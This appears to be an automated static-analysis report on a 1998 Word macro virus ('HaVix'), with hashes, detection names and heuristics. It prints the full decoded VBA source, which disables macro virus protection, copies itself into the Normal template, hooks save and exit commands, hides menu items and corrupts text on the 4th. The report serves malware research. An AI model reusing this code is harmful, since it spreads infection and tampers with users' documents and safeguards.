Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f8297202f1b1f5e9…

MALICIOUS

Office (OLE)

44.5 KB Created: 1998-02-20 20:15:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 5383a266a808e8616289317c3890a556 SHA-1: 49e7a9ce490c97705a5d3d37b20dced29ed8f575 SHA-256: f8297202f1b1f5e9a03a153ac8cc701671ae4ba96ba77f9e7afd47923bb85da7
160 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains a legacy WordBasic auto-exec macro, indicated by the 'FileSaveAs' marker and the 'OLE_LEGACY_WORDBASIC_AUTOEXEC' heuristic. The macro attempts to disable virus protection and install itself into the Normal template by exporting a component to 'C:\windows\HaVix.bas'. This behavior suggests an attempt to establish persistence or facilitate further malicious activity.

Heuristics 3

  • ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Pivis-2
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4005 bytes
SHA-256: ce9552d6ba0622a0e4684225e128de8bc83436df02aee0626b22ad7e18b2de05
Detection
ClamAV: Doc.Trojan.AntiSR1-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "HaVix"
    
Sub HaVix()
Attribute HaVix.VB_Description = "Macro created 02/20/98 by HaVix"
Attribute HaVix.VB_ProcData.VB_Invoke_Func = "Project.HaVix.HaVix"

On Error Resume Next
With Options
    .ConfirmConversions = False
    .VirusProtection = False
    .SaveNormalPrompt = False
End With
ActiveDocument.ReadOnlyRecommended = False

If Day(Now()) = 4 Then Call lepegoin
    
For leprison = 1 To NormalTemplate.VBProject.VBComponents.Count
    If NormalTemplate.VBProject.VBComponents(leprison).Name = "HaVix" Then NormInstall = True
Next leprison
For leprison = 1 To ActiveDocument.VBProject.VBComponents.Count
    If ActiveDocument.VBProject.VBComponents(leprison).Name = "HaVix" Then ActivInstall = True
Next leprison
If ActivInstall = False Then
    With ActiveDocument.VBProject
        With .VBComponents.Import("C:\windows\HaVix.bas")
        End With
    End With
End If
If NormInstall = False Then
    Application.VBE.ActiveVBProject.VBComponents("HaVix").Export "C:\windows\HaVix.bas"
    With NormalTemplate.VBProject
        With .VBComponents.Import("C:\windows\HaVix.bas")
        End With
    End With
End If
If ActivInstall = False Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
If NormInstall = False Then
     If NormalTemplate.Saved = False Then NormalTemplate.Save
     End If
CommandBars("tools").Controls("Macro").Delete
CommandBars("tools").Controls("Templates and add-ins...").Delete
    
leavenow:
End Sub

Sub lepegoin()
Attribute lepegoin.VB_Description = "Macro created 02/20/98 by HaVix"
Attribute lepegoin.VB_ProcData.VB_Invoke_Func = "Project.HaVix.lepegoin"
    On Error Resume Next
        Selection.HomeKey Unit:=wdStory
        Selection.Find.ClearFormatting
        Selection.Find.Replacement.ClearFormatting
        With Selection.Find
            .Text = "is"
            .Replacement.Text = "iz"
            .Forward = True
            .Wrap = wdFindContinue
            .Format = False
            .MatchCase = False
            .MatchWholeWord = True
            .MatchAllWordForms = False
        End With
        Selection.Find.Execute Replace:=wdReplaceAll
End Sub


Sub FileSave()
Attribute FileSave.VB_Description = "Macro created 02/20/98 by HaVix"
Attribute FileSave.VB_ProcData.VB_Invoke_Func = "Project.HaVix.FileSave"
    On Error Resume Next
    Call HaVix
    ActiveDocument.Save
End Sub
Sub FileClose()
Attribute FileClose.VB_Description = "Macro created 02/20/98 by HaVix"
Attribute FileClose.VB_ProcData.VB_Invoke_Func = "Project.HaVix.FileClose"
    On Error Resume Next
    Call HaVix
    If ActiveDocument.Saved = False Then ActiveDocument.Save
    ActiveDocument.Close
End Sub
Sub FileSaveAs()
Attribute FileSaveAs.VB_Description = "Macro created 02/20/98 by HaVix"
Attribute FileSaveAs.VB_ProcData.VB_Invoke_Func = "Project.HaVix.FileSaveAs"
    On Error Resume Next
    Dialogs(wdDialogFileSaveAs).Show
    Call HaVix
End Sub
Sub FileExit()
Attribute FileExit.VB_Description = "Macro created 02/20/98 by HaVix"
Attribute FileExit.VB_ProcData.VB_Invoke_Func = "Project.HaVix.FileExit"
    On Error Resume Next
    Call HaVix
    If ActiveDocument.Saved = False Then ActiveDocument.Save
    Application.Quit
End Sub
Sub AutoExit()
Attribute AutoExit.VB_Description = "Macro created 02/20/98 by HaVix"
Attribute AutoExit.VB_ProcData.VB_Invoke_Func = "Project.HaVix.AutoExit"
    On Error Resume Next
    Call HaVix
End Sub
Sub ViewVBCode()
Attribute ViewVBCode.VB_Description = "Macro created 02/20/98 by HaVix"
Attribute ViewVBCode.VB_ProcData.VB_Invoke_Func = "Project.HaVix.ViewVBCode"
    On Error Resume Next
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.